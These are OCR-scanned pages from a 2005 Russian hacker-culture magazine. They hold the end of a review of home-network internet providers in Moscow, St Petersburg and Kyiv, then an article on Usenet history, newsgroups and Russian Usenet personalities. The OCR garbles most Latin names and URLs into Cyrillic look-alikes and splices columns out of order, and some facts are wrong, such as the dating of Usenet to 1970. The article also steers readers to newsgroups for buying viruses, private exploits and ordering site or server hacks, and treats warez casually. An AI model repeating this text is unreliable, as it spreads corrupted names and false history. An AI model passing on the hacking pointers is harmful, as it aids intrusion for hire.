ком» требует $360 залога за установленное оборудование, которое возвра- 
щается, если договор будет расторжен. Что делает его самым дорогим мо- 
сковским провайдером домашней сети в плане подключения. 

Подход, конечно, не самый удачный, однако пров на своем сайте делает 
большой акцент на том, что используемое оборудование исключительно луч- 
шее и вообще, все это для нашего блага. По-видимому, «РМ Телеком» больше 
ориентирован на крупных клиентов (коммерческие организации), что нес- 
колько влияет на отношение к простым смертным. Но если тебе нужна круп- 
ная локалка с десятками терабайт внутрисетевого трафа и особо не напря- 
гает отношение суппорта — «РМ Телеком» может быть твоим выбором. 

«КОРБИНА» (ГѴИ7И/. СОРВІИА . ИЕТ) 

Позиционирует себя как «единственный 
универсальный оператор связи», вероят- 
но, из-за длинного списка оказываемых ус- 
луг. Сюда входит подключение к телефон- 
ной линии, междугородняя связь, ІР-теле- 
фония, мобильная связь, построение кор- 
поративных сетей, интернет — как по теле- 
фонным, так и по выделенным линиям, хо- 
стинг. В общем, всего понемножку. Нас с 
тобой интересует локалка от «Корбины», 
которая работает, судя по отзывам, бы- 
стро и стабильно. Перед тем как открыть- 
ся, ребята долго и основательно готови- 
лись в техническом плане. И выйдя на ры- 
нок, сразу же ударили по конкурентам 
низкими ценами и качеством соединения. Сейчас это один из немногих про- 
вайдеров, который предлагает гигабитную скорость для обеспеченных кли- 
ентов. Для простых юзеров, таких, как мы с тобой, у «Корбины» есть два реше- 
ния: анлим и фиксированный траф. Цены на анлим: $24 за 256 Кбит и $33 за 
512 Кбит, дешевле найти надо постараться. Цены другого тарифа не менее 
привлекательны. За $25 ты получишь 4 Гб инет-трафа на скорости 100 Мбит, 8 
Гб стоят $42, 16,3 Гб — $75. Почти в восемь раз дешевле, чем у нас в Питере! 
Есть и другие тарифы, где трафик в российском сегменте интернета вообще 
бесплатный, зато мировой стоит несколько дороже. 

Домашняя сеть от «Корбины» имеет большое количество абонентов, так что 
бесплатного внутрисетевого трафика тебе хватит с головой. Отзывы о рабо- 
те «Корбины» на форумах в большинстве положительные, если ругают, то в 
основном суппорт. Но не за непрофессионализм, а за неторопливое отно- 
шение к клиенту. Хотя это, вероятно, индивидуально. Компания явно нацеле- 
на на дальнейшее развитие и зарабатывание денег, поэтому со временем 
сетка будет значительно расширяться. Если ты живешь в доме, подключен- 
ном к сети, — советую серьезно обратить внимание на этого прова. 

« ЦЕНТЕЛ » (И7І/ѴІА /.СЕИТЕІШ) 

Молодая ДС, которая начала свое разви- 
тие в 2003 году. В проект были вложены боль- 
шие деньги, и планы у ЗАО «Центел» были не 
менее грандиозные — охватить всю Москву 
и Московскую область. Весь 2003 и 2004 го- 
да сеть интенсивно расширялась, и к на- 
стоящему времени в тех районах, где она 
протянута, подключена каждая десятая 
квартира (!). К концу 2006 года «Центел» пла- 
нирует объединить под своим крылом 30% 
всех московских квартир. Звучит неправдо- 
подобно, но судя по скорости развития и 
уже достигнутому прогрессу, настроена 
компания серьезно. Уже сейчас к домаш- 
ней сети «Центел» подключено 15 тысяч 
квартир, а ведь она только недавно вошла 
на рынок. 

У «Центела» шесть разных тарифов, один другого краше. Для самых неимущих 
существует «Студенческий» — $13 в месяц, 200 Мб на счету и $0,10 перера- 
сход. Наверное, самый популярный — «Семейный», который обойдется на 
$10 дороже, зато трафа будет втрое больше. За «Активный» просят $33 и кида- 
ют 2 Гб на счет. Три остальных тарифа — безлимитные: 160, 256 и 512 Кбит, По- 
следний, как и в «Корбине», стоит всего $33, другие дешевле, но ненамного, 
так что смысла брать их нет. Можно, впрочем, платить $8 абонентки и сидеть 
только в локалке, но имея такие цены на инет, грех ими не воспользоваться. 

В «Центеле» существует интересная система бонусов. Если ты приведешь ко- 
реша, который подключится, к примеру, на $33, то ты заработаешь 33 бону- 
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са. Бонусы эти накапливаются, и когда ты соберешь сотню, про- 
вайдер предоставит тебе бесплатный месяц по твоему тарифу. 
Несмотря на то что «Центел» на рынке домашних сетей всего два 
года, он уже успел подключить такие районы, как Ново-Передел- 
кино, Солнцево, Отрадное, Северное Чертаново, Нагатинский 
Затон, Нагатино-Садовники, Вешняки. Также ведутся работы по 
подключению в Покровском-Стрешнево, Люберцах, Митино, Но- 
вых Черемушках, Можайском, Зябликово. Планы у компании гло- 
бальные, цены низкие, качество высокое. Неудивительно, что это 
один из немногих провайдеров, отзывы о котором на форумах 
практически всегда положительные. 

(7/.77М/ѴЕГ (Ш/ѴѴ. иПРАИЕТШ) 

Одна из старейших компьютерных сетей Москвы. Первых абонен- 
тов подключила в 1997 году, к настоящему времени объединяет до 
10 тысяч компов. Протянута она в северной части столицы и, по 
мнению многих сетевиков, является лучшим оператором в этом 
районе. Во многом благодаря качеству обслуживания и стабиль- 
ной связи — «Ультранет» использует каналы крупных операторов, 
таких как «Голден-Телеком» и «Центральный телеграф». 
Подключение к домашней сети «Ультранет» стоит $49. Среди та- 
рифов можешь выбрать как безлимитный, так и помегабайтный. 
128-килобитный анлим стоит $24 в месяц. Минимальный с фикси- 
рованным трафом обойдется в $ 10/мес — это 100 Мб и $0,10 за 
каждый мег сверху. За $40 в месяц тебе дадут 2,5 Гб трафика и 
$0,02 за перерасход. Можно совместить тарифы и взять, напри- 
мер, быстрые 2,5 Гб за сороковушку плюс анлим, который в этом 
случае обойдется в $13 сверху. Достоинством «Ультры» является 
то, что, в отличие от многих конкурирующих фирм («Стрима», на- 
пример), здесь не обрезают скорость, если ты сливаешь файло в 
десять потоков 24 часа в сутки. Трафик в «Ультре» считается в обе 
стороны, но платишь ты только за тот, которого ушло больше, 

[питерские ДС] «МАТРИКС» (НПР://Шт.МИ5.Ш/2/1) 

Моя родная локалка, после которой диалап кажется чем-то 
очень далеким и пугающим. Пока, в основном, охватывает При- 
морский и Выборгский районы, но судя по всему, нехватки заявок 
на подключение «Матрас» (так называют «Матрикс» юзеры) не 
испытывает и в ближайшее время выберется в другие части горо- 
да. Полгода назад провайдер считался очень дорогим, тарифы 
на инет были выше, чем у других фирм. Но в конце 2004 года цены 
снизились, теперь хоть и не «Комкор-ТВ», но жить можно :). Тем бо- 
лее, скорость соединения как внутри сети, так и с инетом — су- 
пер. Практически всегда скорость зависит от удаленной сторо- 
ны. Например, с тісгозоТТ.сот у меня было в районе 2 Мб/с. Лич- 
но я пользуюсь тарифом «Профи» — это 1280 рублей в месяц и ги- 
габайт на счету (0,80 руб. /Мб перерасход). Есть тарифы и поде- 
шевле: «Бизнес» за 864 рубля с 600 Мб на счету и «Домашний» за 
576 рублей с 250 мегами в архиве. Ну а для крэйзи даунлоадеров 
самое то — тариф «Сотка» за 3200 рублей, куда входят 5 гигов на 
счету и всего 0,57 рубля за каждый метр сверху. 

Тем, кто привык лить сутками все, что плохо лежит, может показать- 
ся, что с такими тарифами особо не покачаешь. Но «Матрикс» — 
это самая крупная домашняя сеть Питера, и в ней есть практически 
все: любые фильмы (в базе локального киноресурса 2500 фильмов, 
не считая аниме, музыкальных клипов, мультфильмов и порнухи), му- 
зыка (только на моем РТР 200 Гб музыки) и программы. Всего 32 тера- 
байта внутренних ресурсов только на РТР-юзеров. Конечно, есть и 



куча других ресурсов: центральный форум (обновление каждые 10 
секунд!), локальное радио, ІРС, ЖЖ, аукцион, фотогалерея, игро- 
вые серваки, видеосервер, транслирующий ТВ в реальном време- 
ни, портал вареза и юзерские сайты. В сети учитывается только вхо- 
дящий трафик, хотя в договоре указано, что если ты в плане аплоа- 
да будешь наглеть, руководство примет ограничительные меры. 
Подключение к «Матриксу» стоит 4640 рублей, в эту сумму входит 
все необходимое сетевое оборудование (не аренда, а прио- 
бретение), и 640 рублей заносится на счет. 

Несколько месяцев назад на сайте «Матрикса» появилось объя- 
вление, что ожидается тарификация внутрисетевого трафика. То 
есть за каждый скачанный у соседа гиг нужно будет платить от- 
дельно (правда, на нормальных тарифах даются сотни гигабайт 
включенного внутрисетевого трафа). Матрасяне тут же подняли 
бунт, толпами ходили разбираться в главный офис, были даже за- 
бастовки с отключением своих РТР в знак протеста. В конце концов 
руководство «Матрикса» решило не вводить такие меры. Пока. 

Что касается аварий — в моем случае они происходят примерно 
раз в два месяца, обычно их чинят в течение дня. 

«ПЕТЕРСТАР» (И/ИЛѴ. РЕТЕР5ТАР. /?Ц) 

«Петерстар» известен как крупный 
оператор связи и до недавнего 
времени компьютерными комму- 
никациями практически не зани- 
мался. Но в 2004 году компания 
впервые вышла на рынок домаш- 
них сетей и принялась стаханов- 
скими темпами протягивать оптику 
по всему Питеру, вложив в это 1,5 
миллиона долларов. Хотя количе- 
ство подключенных к МеІтоЕІГіег- 
пеі (сетка «Петерстара») меньше, 
чем в том же «Матриксе», ее пау- 
тина из кабелей накрывает боль- 
шую площадь. Стоимость подклю- 
чения к этой сети - 100 долларов, а 
расценки на инет практически 
аналогичны матрасовским. Мини- 
мальный тариф «Почтовый» стоит $ 10/мес. и включает 200 Мб трафа. 
«Домашний» — $15 и 400 Мб. «Домашний плюс» — 600 Мб за $20, а «Се- 
тевой плюс» — 1,3 Гб за полтинник. Есть и пара безлимитных тарифов. 
«Ночной» дает возможность неограниченно серфить на приличной 
скорости (10 Мбит) в будни с 20:00 до 8:00 и круглосуточно в выходные 
и праздники. «Свободный» — это стандартный безлимитник с ограни- 
чением скорости в 200 Кбит, стоит он в «Петерстаре» $45. 

Компания гарантирует минимальную скорость на всех тарифах, 
кроме «Свободного», в 512 Кбит. И это не то же, что максимальная 
гарантированная, которую обещают некоторые сомнительные 
конторы :). Если ты живешь на Васильевском острове — тебе по- 
везло. Именно на этом районе сейчас сосредоточил силы этот 
пров, и лучшей альтернативы там тебе не найти. 

«ОЗЕРКИ. ИЕТ» (НПР://]АА/Ш. ОІЕРКІ. ИЕТ) 

«В далеком 1999 году несколько энтузиастов начали строительство 
одной из первых в России оптоволоконной сети в городе Сертоло- 
во Ленинградской области», — так, если верить официальному 
сайту, начиналась история домашней сети «Озерки. ІЧЕТ». Через 
три года те же энтузиасты проложили 10-мегабитную 
сеть в питерском районе Шувалово-Озерки, подклю- 
чив первых клиентов по улице Энгельса. Сеть быстро 
росла, развивалась, канал со временем был увели- 
чен до 100 Мбит. Теперь «Озерки. ЫЕТ» входит в пятер- 
ку крупнейших ДС Питера, объединяя жилые дома у 
метро Проспект Просвещения, Озерки и Удельная. 
Стоимость подключения — $100. В марте 2005-го сет- 
ка справила свой пятилетний юбилей, что сопровож- 
далось снижением тарифов на 25%. Минимальный 
«Легкий», включающий 160 Мб, теперь стоит 364 ру- 
блей. «Практичный» (280 Мб) — 476, «Популярный» 
(400 Мб) — 644, а «Комфортный» (600 Мб) — 784 рубля 
с перерасходом 0,89 рубля за каждый метр. Помимо 
этого, доступны безлимитные тарифы: 32 Кбит/с за 
$30 и 64 Кбит/с за $50. Представители «Озерки. ІЧЕТ» 
не против хардкорных окачиваний и даже ведут та- 
блицу рекордов. Первое место пока держит чувак, 
который слил за месяц на 64 килобитах 16 Гб. 




[портал для клиентов «Матрикса»] 
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Давая название своей сети, отцы «Вэлкома» хотели показать, что 
рады каждому новому юзверю и что каждый останется доволен. 
Сетка эта довольно молодая, судя по отзывам на форумах, дела- 
ют ее грамотные люди. Подключить обещают в течение 30 дней, и 
если ты живешь не на отшибе и в твоем доме есть еще желающие, 
стоить это будет $100. Вэлкомовцы дают гарантированные 256 
Кбит, то есть реально скорость в инете будет на порядок выше. Та- 
рифы у этого провайдера вкуснее, чем у питерских конкурентов. 
Например гигабайт трафа стоит $30, а 2 Гб — $50. Можно взять за 
сотку 4,5 гига, чего тебе на серф хватит с головой. Самый популяр- 
ный тариф в сети — «Студенческий». Всего $20 и 500 метров трафа. 
Не отстает провайдер и в плане безлимитных предложений. В 
«Вэлкоме» их три: 64, 128 и 256 Кбит за 30, 60 и 196 долларов соот- 
ветственно. Хотя ограничения на скорость распространяются 
только на тяжелые файлы — всякое мультимедиа или флеш-ресур- 
сы. Если ты зашел на простенькую пату, она загрузится на макси- 
мальной скорости канала (до нескольких мегабит). Особо приве- 
редливых юзеров, которых не устроил ни один тариф, компания 
приглашает в свой офис поговорить по душам. Обещают рассмо- 
треть любые предложения и найти подход к каждому клиенту. 

[провайдеры Украины] Хочу еще добавить пару украинских про- 
вайдеров. На Украине во многих конторах интересная тема — 
трафик, наработанный в украинском сегменте интернета, не 
оплачивается вообще. То есть, даже если ты взял недорогой та- 
риф с небольшим запасом трафа, ты сможешь сколько угодно 
серфить украинские сайты на максимальной скорости. 

«УКРЛИНК» (УШМѴѴКРІШ.иА) 

Крупный киевский интернет-провайдер, называющий себя «си- 
стемным интегратором». Появился на рынке в 1991 году и сразу 
направил свои силы на развитие своих каналов связи. 

В конце зимы «УкрЛинк» ввел «Весенний» тариф, в котором за $20 юзеры 
получают 2 гига трафика. Это в два-три раза дешевле, чем у конкурентов, 
так что народ в сетке всю весну просидел именно на нем. Правда, халя- 
ва недолгая — только до 15 июня 2005 года. Стандартные же тарифы: 
«Украина» — за $10 100 Мб на счету и $0,05 перерасход и «Премиум» - 
$70 за 4 гига, $0,058 за каждый гиг сверху. Плюс то, что посередине. 



Если ты предпочитаешь анлим, тебя ждут такие цифры: 64 Кбит — 
$10, 128 Кбит — $20, 256 Кбит — $40. Ну а если денег нет, а инета хо- 
чется, прими участие в игре от «УкрЛинк» «приведи соседа». За каж- 
дую свежую голову, которая подключится благодаря тебе, ты пои- 
меешь $10 на свой счет. А если головы будет сразу две — все $30. 
Внутри сети трафика тоже хватает. Например количество фильмов 
достигает 1200 штук, а общий объем вареза в районе 10 терабайт. 
Сейчас сетка быстро развивается, и в планах компании опутать 
оптоволокном 80% Троещины. Также планируется в ближайшее 
время объединить «УкрЛинк» и сеть «Фасти» (смотри ниже), что 
позволит покрыть почти все левобережье Киева. 

Сотрудники «УкрЛинк» стараются быть поближе к клиенту и пе- 
риодически организуют встречи. Так, в конце апреля состоялся 
общий для абонентов и сотрудников компании пикник с шашлы- 
ками, пивом и прочими радостями. 

РА81У (И/И/ѴѴ. РА5ТУ. Л/ЕГ) 

Одна из крупнейших в Киеве домашних сетей и однозначно кру- 
пнейшая в Харьковском массиве города. Сетка быстрая (100 
Мбит) и стабильная — благодаря специальным защитным сред- 
ствам против грозы и прочей непогоды, аварии на линиях случа- 
ются редко. Вообще, компания так и говорит, что в первую оче- 
редь борется за качество своих услуг, устанавливая только луч- 
шее железо и выбирая только лучшие решения. 

Тарифы для Киева весьма привлекательные. Стандартный пакет 
стоит $10— за эти деньги ты получаешь 100 Мб мирового трафа (как 
уже было сказано, украинский трафик неограничен). Если допла- 
тить еще десятку — количество трафа увеличится в пять раз. А за 
$40 тебе дадут 1,2 гига с $0,035 за каждый мег сверху. Максималь- 
ный тариф — «Бизнес», стоящий $100 в месяц и включающий 4 Гб. 

В сетке есть центральный видеосервер, на котором хранится 
больше тысячи фильмов, а также музыкальный сервак с немерен- 
ным количеством трЗ. Само собой, есть игровой сервер. 

На этом заканчиваю свой обзор. Надеюсь, ты найдешь своего 
провайдера и вольешься в дружную тусовку родной домашней 
сети. А может, даже построишь свою собственную локалку. В 
наше время диалап и АЭ5Б уже не модны. Будущее за домаш- 
ними сетями © 
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Создали ее в 1970 году сотрудники двух американских универси- 
тетов Том Тркжо и Джим Эллиса. В это время активно велась разра- 
ботка операционной системы ІІпіх, и программерам требовалась 
возможность удаленно обмениваться информацией, быстро ре- 
шать вопросы. Том и Джим предложили идею, а первую программу 
для ІІзеМеІ (естественно, под никсы) написал Стив Беловин. В нача- 
ле групп было очень мало, да и сообщений в каждую поступало не 
больше, чем по паре в день. К середине 80-х количество конферен- 
ций разрослось до нескольких тысяч, и для удобства навигации по 
ним ввели систему иерархий, объединившую конфы общей темати- 
ки. Сначала иерархий было лишь семь, теперь их огромное коли- 
чество. Есть даже региональные — например, в гу ты найдешь все, 
что связано со славным городом Нью-Джерси. Многие крупные 
компании также представлены в ЕІзеМеІ. Например, Тір — это ие- 
рархия, объединяющая конференции Неѵл/ІеН-РаскагсІ, а в арріе ты 
найдешь группы новостей о своем любимом Макинтоше. 

С помощью ІІзеІЧеІ миллионы компьютеров по всему миру обме- 
ниваются сообщениями: можно читать или самому публиковать 
информацию, вступать в дискуссии, дать совет или получить ответ 
на свой вопрос. Сообщения, которые здесь называют статьями, 
хранятся на сервере, а потом отправляются в архив. Основные 
пользователи ІІзеІМеІ — это профессионалы своего дела, кото- 
рым нужно не столько потрепаться, сколько решить свои профес- 
сиональные проблемы и повысить квалификацию. 

ІІзеМеІ — огромнейшая сеть. Каждый день в систему закачивается 
около 40 миллионов символов! Большая и интереснейшая часть всех 
статей — англоязычная, так что для комфортной работы с конферен- 
циями необходимо знать язык. А для тех, кто прогуливал уроки анг- 
лийского, существует русский ЮзеНет, о котором мы еще поговорим. 
Никакого процесса регистрации не требуется, участвовать в сети 
может каждый, у кого есть компьютер с выходом в интернет и спе- 
циальным программным обеспечением. ЬзеІЧеІ — это логическая 



МЕНЯ ВСЕГДА ПРИТЯГИВАЛО ОБЩЕНИЕ 
В ГЛОБАЛЬНОЙ СЕТИ. СОГЛАСИСЬ, ЧЕРТОВС- 
КИ ЗДОРОВО, НЕ ОТХОДЯ ОТ КОМПЬЮТЕРА, 
БОЛТАТЬ С ИНТЕРЕСНЫМИ ЛЮДЬМИ ИЗ СА- 
МЫХ РАЗНЫХ СТРАН И ГОРОДОВ. НО ВОТ 
ГДЕ ОБЩАТЬСЯ? ІРС ИЗ ЦИТАДЕЛИ ХАКЕРОВ 
И ПРОДВИНУТЫХ ЮЗЕРОВ ПРЕВРАЩАЕТСЯ 
В ТУСОВКУ ЛАМЕРЬЯ С ФЛЕЙМЕРСКИМИ 
НАКЛОННОСТЯМИ, ІСО НЕ УСТРАИВАЕТ СВО- 
ИМ ОДНОКАНАЛЬНЫМ ЧАТОМ, В ФОРУМАХ 
НЕ ВСЕГДА УДАЕТСЯ ПОЛУЧИТЬ ОТВЕТ НА 
ПОСТАВЛЕННЫЙ ВОПРОС, ДА ЕЩЕ ЭТИ МО- 
ДЕРАТОРЫ СЛОВА СКАЗАТЬ НЕ ДАЮТ... СПО- 
КОЙНО, ДРУГ, МЫ ВОЗВРАЩАЕМСЯ В КИБЕР- 
ПАНК! ПРИСТЕГНИ РЕМНИ — ЦЗЕИЕТ ЖДЕТ 

ТЕБЯ! I Илья Александров (\ллллл/.ІіѵеіоигпаІ.сот/изегз/іІуа_аІехапсігоѵ) 

Рассказ 

о международной системе 
конференций ІІЗЕЫЕТ 



[это должен знать каждый] ІІзеІМеІ (Ьзег'з 
ЫеІѴѴогк) — это система конференций раз- 
личных сообществ в сети интернет. В Рос- 
сии ее часто называют новостями или нью- 
сами. Больше всего конференции напоми- 
нают фидошные эхи, меньше — современ- 
ные ѴѴЕВ-форумы. А в целом представляют 
собой множество досок объявлений, в ко- 
торых можно найти любую информацию, 
начиная документацией по разработке 
приложений на ассемблере, заканчивая 
рецептами блюд греческой кухни восем- 
надцатого века. 



Мекка 

компьютерного 

андерграунда 



[копаем глубже] ІІзеЫеТ изначально был местом, в котором общались хакеры и продвинутые 
компьютерщики. Это и сейчас так, просто добавилась масса не относящихся к высоким тех- 
нологиям групп и иерархий. Начнем с того, что в 1991 году никому тогда не известный финс- 
кий студент Линус Торвальдс в конференции сотр.оз.тіпіх опубликовал сообщение следу- 
ющего содержания: «Привет всем пользователям тіпіх! Я пишу бесплатную операционную 
систему (любительскую версию — она не будет такой большой и профессиональной, как 
дпи) для 386-х и 486-х АТ. Вожусь с этим с апреля, и она, видимо, скоро будет готова. Напиши- 
те мне, кому что нравится или не нравится в тіпіх, поскольку моя ОС на нее похожа...». Ре- 
зультатом этого поста спустя несколько лет стало появление 32-разрядной операционной 
системы І_іпих, установленной сейчас на 75% серверов Интернета. ИвеИе) вообще очень по- 
пулярен среди разработчиков Линукса, так что если увидишь где-нибудь в сотр.оз.Ііпих.квг- 
пѳі сообщение от человека Егіс 5. РаутопсІ, можешь не сомневаться — это тот самый Рай- 
монд, автор «Собора и базара» и разработчик ядра с момента рождения операционки. 
Довольно известной в андеграунде конфой является сотр.ѵігиз, где ты всегда сможешь 
найти исходники любой электронной заразы, купить эксклюзивный вирь и пообщаться с 
самыми крутыми вирьмейкерами. Кто-то взломал МАЗА, Місгозой.сот или швейцарский 
банк? Вполне возможно, ты найдешь этого чувака в одной из конференций аІТ.2600. 
История спама тоже берет начало в ЕІзепеф когда в апреле 1994 года двое американс- 
ких адвокатов провели массовую рассылку сообщений, рекламирующих их услуги. 
Конференции бывают двух видов — модерируемые и немодерируемые. Первые ты смо- 
жешь только читать, пишут туда лишь создатели конференции. Обычно такие конфы соз- 
даются людьми, ведущими блог. Немодерируемые ты сможешь как читать, так и остав- 
лять в них свои посты и ответы на другие сообщения. 

ЮзеНет — это не организация. Здесь нет людей, имеющих больше привилегий, чем ос- 
тальные. Здесь все подчиняются неписанным традициям и, отчасти, мнению старожи- 
лов, которых очень уважают. Сообщество ЕІзепеІ — это огромное количество людей, со 
своими взглядами и понятиями, обсуждающих интересные им темы, это терабайты техни- 
ческой документации и веселых шуток, многочисленные треды, содержащие порой ге- 
ниальные мысли, а порой бессмысленный треп. 

[конференции] Как ты уже знаешь, ІІзеІМеІ разделен на иерархии. Теперь пришла пора 
познакомиться с ними поближе. Начнем с категории сотр. Здесь обсуждаются компью- 
теры и все с ними связанное: операционки, программы, железо, сети, программирова- 
ние, администрирование. . . В зсі (наука) обсуждают научные открытия и изобретения в са- 
мых разных областях: от генетики до новых элементов в таблице Менделеева. В иерархию 
гѳс входят группы о хобби, увлечениях. Футбол, живопись, музыка — все это ищи здесь. В 
пеѵѵ з публикуют новости, как политические, так и компьютерные, в том числе о самом 
ОзеМеТ. Категория зос включает социальные вещи: к примеру, посты о культуре той или 
иной страны, о психологии и человеческих взаимоотношениях. Девушкам рекомендую к 
прочтению зос.ѵѵотеп — сам там не был, но говорят, интересно. Те, кому ІізеіЧеІ нужен 
для того, чтобы пообщаться, могут заглянуть в иерархию іаік, где флудят обо всем на свете. 
Конечно, общими категориями все не ограничивается. Иерархия ІІзепеІ имеет древовидную 
форму. Например, ты запросто можешь обнаружить конференцию сотр.оз.тіпсіоѵѵз.зѳі- 
І'іпдз. Здесь сотр обозначает, что конференция на компьютерную тему, оз — тут обсуждают- 
ся операционные системы, і ѵіпсіоѵѵз — отсюда понятно, о какой именно идет 
речь, а зеНіпдз показывает, что обсуждаться будет именно настройка системы, 
а не о какие-нибудь проблемы безопасности. Так что, если ты хочешь обсудить 
любимый язык программирования — набирай сотр.Іапд. а потом добавляй наз- 
вание языка программирования (регі, с и т.д.). 

Наверняка многие читатели журнала интересуются киберпанк-культурой. Еди- 
номышленники найдутся тут: аП.суЬегрипк, аІі.суЬѳгрипк.тоѵетѳпі, аІТ.суЬег- 
рипк.ТесІі. Обсуждение книг Гибсона, публикация киберпанковских статей, 
обмен мыслями о будущем — всего этого здесь в избытке. Если же тебе нужно 
снять стресс и немножечко пофлеймить — советую аІіЛІате и аІТЛІатв.аЬог- 
ііоп. Там много народа, и твою беседу всегда поддержат. В иерархию аІТ вхо- 
дят группы абсолютно любой тематики, и властвует там абсолютная свобода. 
Еще одно важное отличие альтернативных групп от остальных — здесь часто 
можно найти бинарные файлы, фильмы, музыку, а также кучу свежих эксплой- 
тов, крэков и порнушки. Ссылками кидаться не буду, захочется — найдешь 
сам. По правде, именно с аІТернативных групп и началось мое знакомство с 
ЕІзег'з ЫеГѴѴогк. А если конкретно — с культовых конференций группы аІТ.2600. 
Если ты читаешь «Хакер», побывать там — твой священный долг. Эта группа уже 
много лет является местом встречи для вирьмейкеров, кардеров, крэкеров и 
остальных компьютерных бусурманов. Здесь можно достать приватный сплойт, 
заказать взлом сайта или сервера, получить совет на хакерскую тему. И если 
порыться в архивах, можно найти любую техническую информацию. Вся ин- 
формация, естественно, на английском. Иерархия тізс (прочее) объединяет 
темы, которые трудно классифицировать и определить в другие категории. Сю- 
да относятся группы «поиск работы», «законодательство» и т.п. 

Лучший поисковик в ІІзеІМеГ — это 0е]а[\1е\л/з ( ѵшлѵ/.сіеіапеѵѵз.сот ). Благодаря ему, 
ты сможешь быстро найти любую инфу в залежах системы конференций. Если 
ищешь статьи на русском, юзай І?изЫе\л/з, который находиться здесь: пвѵ/з.согѵіз.ги. 

[мифы] Читая группы новостей, ты рано или поздно наткнешься на один из зна- 
менитых мифов сети. Самый популярный из них — рассказ о мальчике с опу- 
холью мозга. Согласно легенде, у одного мальчика обнаружили рак мозга. На 
смертном одре он попросил всех своих друзей послать ему по открытке. Ка- 



сеть, а не физическая. Это значит, что нет администра- 
тора или центрального узла, которые бы контролиро- 
вали содержание досок. Админы обеспечивают тех- 
ническую реализацию, работу серверов, за статьями 
же они не следят. Когда я впервые узнал об этом, то по- 
думал, что в этой сети нормальным людям делать нече- 
го — группы должно быть загажены наездами и флей- 
мом. Но когда в конференциях про Нпих увидел только 
статьи о Еіпих, а в конференции медиков только сооб- 
щения о медицине, мое мнение изменилось. Каким 
образом достигается такой порядок, я объясню поз- 
же. Еще важно знать, что ІІзег'з ИеІАЛ/огк это анти авто- 
ритарное, свободное общество, которое, как и Интер- 
нет в целом, никому не принадлежит. 




[народ активно обсуждает крекерские проблемы 
в аІ1.2600.Иаскег2] 



[ХАКЕР 05 [77] 05 > СЦЕНА 090 ] 



[СТАТИСТИКА ІІЗЕМЕТ] 

Данные о количестве юзеров в ІІзеЫеІ 
очень приблизительны, по той простой при- 
чине, что регистрация здесь отсутствует. 
Спустя пять лет после рождения сети, в 
1975 году, число юзенетчиков достигало 50 
тысяч человек, а к 1985 году выросло до 
650 тысяч! В середине 90-х наступил расц- 
вет УзеМеІ, группами новостей пользова- 
лось порядка пяти с половиной миллионов 
человек по всему миру. Но затем начался 
спад и по приблизительным оценкам в 2004 
году Узепеі комьюнити составляло три мил- 
лиона пользователей. 

Что касается самых популярных конферен- 
ций, то первое место с большим отрывом 
занимает аіі.зех. Благодаря огромной попу- 
лярности ІІзеИеІ среди пользователей ЦІпіх, 
конференция сотр.оз.Ііпих занимает второе 
место по объему нагоняемого посетителями 
трафика. А любители компьютерных игр вы- 
вели свою эху сотр.датез на третье место. 



кое к этому имеет отношение ІІзеМеТ? Дело в том, что время от вре- 
мени в конференциях появляются сообщения от маленького маль- 
чика, который неизлечимо болен и просит прислать ему открытку. 
После чего указывается адрес «больного». 

Еще один популярный миф — история о налоге на модемы. Пери- 
одически проскакивают посты, где всех пользователей предуп- 
реждают, что им придется вносить деньги за использование моде- 
мов, иначе Федеральная комиссия связи отключит их от сети. Так- 
же остерегайся статей с сабжем «Как быстро заработать». Пото- 
му что там ничего, кроме предложения вступить в финансовую пи- 
рамиду, ты не найдешь. Людей кидают на деньги и в ГІзеІМеТ. . . 




[русская община Зака Мая] 



[русский ЦзеІМеІ] У нас в России ЮзеНет оказался в тени популяр- 
ной РЮО, но это не значит, что русских конф нет. Первая статья на 
русском языке появилась в ІІзег'з ІЧеТѴѴогк в начале 90-х. 

А первым в России интернет-провайдером был Реісот, который и 
создал самую старую российскую иерархию гѳісот*. В нее входи- 
ли самые разные группы, все на русском языке. Релкомовские кон- 
ференции показались мне самыми замусоренными. Еще одна рус- 
ская группа новостей — Г/сУо7. Это даже не ГІзеМеГ, это шлюз между 
русским ФИДО и системой конференций. Можно сказать, эта ие- 
рархия умерла вместе с ЕЮОпеТ (Фидо жила, живет и будет жить. 
Нефиг тут дезинформировать. — Прим. тіпс1\л/0гк). В общем, я счи- 
таю, что гораздо интересней общаться в международных группах. 
На русские стоит обратить внимание, если только не знаешь анг- 
лийского языка. Хотя жизнь в русском ІІзеІ\ІеТ тоже по-своему бурли- 
ла. Достаточно вспомнить старожила, основателя и участника пер- 
вых русскоязычных конференций (созданная им зос.сШиге.зоѵіеі на 
протяжении пяти лет была самой популярной эхой на постсоветс- 
ком пространстве), легенду отечественного Юзенета Дмитрия Вули- 
ся. Прославился он своей борьбой за свободу в сети, и особенно 
ненавистью к модераторам. Называя себя расистом, Дмитрий пре- 
зирал эмигрантов, покинувших Советский Союз, и считал свой ин- 
теллект искусственным. Даже посты свои подписывал: "Лучше иску- 
сственный интеллект, чем никакой". У него была феноменальная 
фантазия, проявлявшаяся в часто сумасшедших постах, и умение 
классно рисовать порнографическое АЗСІІ. Каждого, плохо выска- 



завшегося о его сообщениях, крыл матом и 
обливал грязью. Еще больше известен Дмит- 
рий стал после знаменитой виртуальной 
войны с Петром Воробьевым. Однажды он 
опубликовал очередные порнушные АЗСІІ, 
заявив, что на них изображена девушка, от- 
рицательно высказавшаяся по поводу его 
статьи. Девушка эта оказалась подружкой 
известного компьютерщика и «адепта маги- 
ческих искусств», как он себя величал, Пет- 
ра Воробьева. Целых два года сторонники 
Вулиса и Воробьева флудили конференции 
оппонентов, устраивали разборки на ІРС, 

распространяли сатирические карикатуры друг на друга. Победы ни одна из 
сторон так и не одержала — все устали и со временем, наконец, утихли. 

Еще одна культовая персона ЦзеІМеТ — Зак Май. В начале перестройки Май 
уехал в США и поэтому в основном писал статьи о жизни русских в стране гам- 
бургеров. Зак жестоко высмеивал американский образ жизни, американских 
девушек и вообще все амерское. В итоге он решил объединить своих почита- 
телей в отдельное сообщество, общавшееся преимущественно через группы 
новостей. Как потом он сам заявлял, "за четыре года мы сколотили крутую все- 
американскую русскую общину". Целью своей организации Зак Май ставил 
не мало, не много: «Захват Крутым Поколением контроля над культурной и об- 
щественной жизнью америки». Хоть этого контроля Май так и не добился, зато 
среди Юзенетчиков прославился. 

Одним из самых ярких событий русскоязычного ЕІзепеТ в 2004 году 
стал конкурс на лучший рассказ в эхе икг.посіѳз. Более двухсот чело- 
век боролись за ящик пива и «голую новую русскую Клаву». Расска- 
зы были преимущественно юмористическими, тем или иным обра- 
зом относящиеся к компьютерам: "Большая курилка Интер- 
